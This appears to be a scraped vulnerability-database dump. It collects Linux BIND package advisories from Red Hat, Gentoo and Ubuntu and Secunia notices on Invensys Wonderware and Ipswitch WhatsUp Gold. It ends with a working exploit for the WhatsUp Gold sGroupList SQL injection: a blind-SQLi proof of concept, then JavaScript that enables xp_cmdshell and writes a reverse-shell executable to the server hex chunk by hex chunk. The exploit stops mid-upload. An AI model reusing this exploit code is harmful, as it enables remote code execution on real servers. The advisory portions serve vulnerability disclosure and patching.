bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
Red Hat Enterprise Linux Desktop Optional (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Client/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.2.src.rpm
i386:
bind-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.2.i686.rpm
x86_64:
bind-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
Red Hat Enterprise Linux HPC Node (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6ComputeNode/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.2.src.rpm
x86_64:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
Red Hat Enterprise Linux HPC Node Optional (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6ComputeNode/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.2.src.rpm
x86_64:
bind-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
Red Hat Enterprise Linux Server (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Server/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.2.src.rpm
i386:
bind-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.2.i686.rpm
ppc64:
bind-9.8.2-0.10.rc1.el6_3.2.ppc64.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.2.ppc64.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.ppc.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.ppc64.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.ppc.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.ppc64.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.2.ppc64.rpm
s390x:
bind-9.8.2-0.10.rc1.el6_3.2.s390x.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.2.s390x.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.s390.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.s390x.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.s390.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.s390x.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.2.s390x.rpm
x86_64:
bind-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Server/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.2.src.rpm
i386:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.2.i686.rpm
ppc64:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.ppc.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.ppc64.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.ppc.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.ppc64.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.2.ppc64.rpm
s390x:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.s390.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.s390x.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.s390.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.s390x.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.2.s390x.rpm
x86_64:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Workstation/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.2.src.rpm
i386:
bind-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.2.i686.rpm
x86_64:
bind-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Workstation/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.2.src.rpm
i386:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.2.i686.rpm
x86_64:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.2.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/#package
7. References:
https://www.redhat.com/security/data/cve/CVE-2012-3817.html
https://access.redhat.com/security/updates/classification/#important
http://www.isc.org/software/bind/advisories/cve-2012-3817
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2012 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.4 (GNU/Linux)
iD8DBQFQF1jgXlSAg2UNWIIRAhfLAKC7IA3Vlbw8YTJSpY/DfKn7S81tIgCgq/b2
7PGAy2HFq2b2y+ASSTx67k0=
=uM7c
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201209-04
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: BIND: Multiple vulnerabilities
Date: September 24, 2012
Bugs: #402661, #419637, #427966, #434876
ID: 201209-04
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in BIND, the worst of which
may allow remote Denial of Service.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-dns/bind < 9.9.1_p3 >= 9.9.1_p3
Description
===========
Multiple vulnerabilities have been discovered in BIND:
* Domain names are not properly revoked due to an error in the cache
update policy (CVE-2012-1033).
* BIND accepts records with zero-length RDATA fields (CVE-2012-1667).
* A memory leak may occur under high TCP query loads (CVE-2012-3868).
* An assertion error can occur when a query is performed for a record
with RDATA greater than 65535 bytes (CVE-2012-4244).
Impact
======
A remote attacker may be able to cause a Denial of Service condition or
keep domain names resolvable after it has been deleted from
registration.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All BIND users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-dns/bind-9.9.1_p3"
References
==========
[ 1 ] CVE-2012-1033
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-1033
[ 2 ] CVE-2012-1667
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-1667
[ 3 ] CVE-2012-3817
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3817
[ 4 ] CVE-2012-3868
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3868
[ 5 ] CVE-2012-4244
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-4244
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201209-04.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2012 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. ============================================================================
Ubuntu Security Notice USN-1518-1
July 26, 2012
bind9 vulnerability
============================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 12.04 LTS
- Ubuntu 11.10
- Ubuntu 11.04
- Ubuntu 10.04 LTS
Summary:
Bind could be made to crash if it received specially crafted network
traffic.
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 12.04 LTS:
libdns81 1:9.8.1.dfsg.P1-4ubuntu0.2
Ubuntu 11.10:
libdns69 1:9.7.3.dfsg-1ubuntu4.3
Ubuntu 11.04:
libdns69 1:9.7.3.dfsg-1ubuntu2.5
Ubuntu 10.04 LTS:
libdns64 1:9.7.0.dfsg.P1-1ubuntu0.6
In general, a standard system update will make all the necessary changes
| VAR-201207-0173 | CVE-2012-3005 | Invensys Wonderware InTouch Vulnerability gained in |
CVSS V2: 6.9 CVSS V3: - Severity: MEDIUM |
Untrusted search path vulnerability in Invensys Wonderware InTouch 2012 and earlier, as used in Wonderware Application Server, Wonderware Information Server, Foxboro Control Software, InFusion CE/FE/SCADA, InBatch, and Wonderware Historian, allows local users to gain privileges via a Trojan horse DLL in an unspecified directory. DLL It may be possible to get permission through the file. Invensys is a leading provider of automation and information technology, systems, software solutions, services and consulting for the manufacturing and infrastructure industries. Multiple Invensys Wonderware products are insecure to load library files, allowing an attacker to build specially crafted files, place them on a remote WebDAV or SMB share, entice users to parse, and execute arbitrary code in the application context. Multiple Invensys products are prone to a vulnerability that lets attackers execute arbitrary code. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
Invensys Wonderware Products Insecure Library Loading Vulnerability
SECUNIA ADVISORY ID:
SA50028
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50028/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50028
RELEASE DATE:
2012-07-24
DISCUSS ADVISORY:
http://secunia.com/advisories/50028/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50028/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50028
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in multiple Invensys Wonderware
products, which can be exploited by malicious people to compromise a
user's system.
The vulnerability is caused due to the application loading libraries
in an insecure manner.
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
PROVIDED AND/OR DISCOVERED BY:
ICS-CERT credits Carlos Mario Penagos Hollmann.
ORIGINAL ADVISORY:
http://www.us-cert.gov/control_systems/pdf/ICSA-12-177-02.pdf
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201207-0700 | No CVE | Privilege escalation vulnerability in Hitachi JP1/NETM/DM |
CVSS V2: 7.2 CVSS V3: - Severity: High |
The package setup manager in Hitachi JP1/NETM/DM contains an privilege escalation vulnerability.A remote attacker could gain privileges via unknown attack vectors.
| VAR-201208-0122 | CVE-2012-2601 | Ipswitch WhatsUp Gold 15.02 contains SQL injection and XSS vulnerabilities |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
SQL injection vulnerability in WrVMwareHostList.asp in Ipswitch WhatsUp Gold 15.02 allows remote attackers to execute arbitrary SQL commands via the sGroupList parameter.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
WhatsUp Gold 15.0.2 is vulnerable; other versions may also be affected. Ipswitch WhatsUp Gold is a set of unified infrastructure and application monitoring software from Ipswitch in the United States. The software supports the performance management of networks, servers, virtual environments and applications. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
Ipswitch WhatsUp Gold "sGroupList" SQL Injection Vulnerability
SECUNIA ADVISORY ID:
SA50002
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50002/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50002
RELEASE DATE:
2012-07-31
DISCUSS ADVISORY:
http://secunia.com/advisories/50002/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50002/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50002
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in Ipswitch WhatsUp Gold, which can
be exploited by malicious people to conduct SQL injection attacks.
Input passed via the "sGroupList" parameter to
NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp
is not properly sanitised before being used in a SQL query. This can
be exploited to manipulate SQL queries by injecting arbitrary SQL
code.
The vulnerability is reported in version 15.02.
SOLUTION:
No official solution is currently available.
PROVIDED AND/OR DISCOVERED BY:
muts, Offensive Security.
ORIGINAL ADVISORY:
http://www.exploit-db.com/exploits/20035/
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. By sending a specially crafted malicious JavaScript payload, the SQLi can be exploited to add a new database administrator to the system, leading to remote code execution.
Blind SQLi Proof of Concept:
WrVMwareHostList.asp?sGroupList=1;WAITFOR DELAY '0:0:10'--&sDeviceList=3
The JavaScript code below will exploit the blind SQL injection vulnerability, enable
xp_cmdshell on the target, upload a reverse shell to the target, and execute it.
Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
16 Jul 2012: Email received from Ipswitch stating that the issue will be fixed ASAP
22 Jul 2012: Public Disclosure
######################################################################################
*/
function getCookie(c_name)
{
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++)
{
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name)
{
return unescape(y);
}
}
}
function deleteCookie(c_name)
{
setCookie(c_name, "", -1);
}
function setCookie(c_name,value,exdays)
{
var exdate=new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=c_name + "=" + c_value;
}
function getHtmlBody(url)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET', url, false);
xmlHttp.send(null);
var results = xmlHttp.responseText;
return(results);
}
var attackAnyway = 0;
// Check if a cookie has been set (this indicates we already exploited our target)
// Or if we decided to attack anyway (by setting 'attackAnyway')
if (getCookie("mix0") == undefined || attackAnyway == 1)
{
alert("woot, new attack");
alert(document.cookie);
setCookie("mix0", "1", 1);
alert(document.cookie);
alert("Debug - Enabling XP_CMDSHELL");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;DECLARE @S NVARCHAR(3000);SET @S=CAST(0x45005800450043002000730070005F0063006F006E0066006900670075007200650020002700730068006F007700200061006400760061006E0063006500640020006F007000740069006F006E00730027002C00200031003B005200450043004F004E004600490047005500520045003B0045005800450043002000730070005F0063006F006E0066006900670075007200650020002700780070005F0063006D0064007300680065006C006C0027002C00200031003B005200450043004F004E004600490047005500520045003B000A AS NVARCHAR(3000));Exec (@S);--&sDeviceList=3");
alert("Debug - Uploading Reverse Shell");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo n 1.dll >123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0100 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0180 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 5d cf 9f 87 19 ae f1 d4 19 ae f1 d4 19 ae f1 d4 97 b1 e2 d4 13 ae f1 d4 e5 8e e3 d4 18 ae f1 d4 52 69 63 68 19 ae f1 d4 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 da 4d 03 50 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 0c 00 02 00 00 00 06 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 20 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0200 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 40 00 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 1c 20 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0280 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 20 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 00 00 00 00 10 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 00 00 00 00 20 00 00 00 02 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0300 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 02 02 00 00 00 30 00 00 00 02 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0380 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0400 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0480 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0500 >>123.hex';--");
